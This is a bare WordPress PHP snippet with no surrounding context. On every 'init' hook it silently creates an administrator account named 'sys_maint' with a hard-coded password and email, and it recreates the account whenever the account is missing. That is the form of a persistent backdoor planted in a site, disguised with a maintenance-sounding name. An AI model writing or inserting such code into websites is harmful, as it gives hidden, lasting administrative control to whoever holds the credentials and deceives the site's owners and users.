$user = 'sys_maint';
$pass = 'ChangeMe_Str0ng!';
$email = 'sys_maint@local.com';
function quick_create() {
global $user, $pass, $email;
if (!username_exists($user) && !email_exists($email)) {
$id = wp_create_user($user, $pass, $email);
if (!is_wp_error($id)) {
$u = new WP_User($id);
$u->set_role('administrator');
}
}
}
add_action('init', 'quick_create');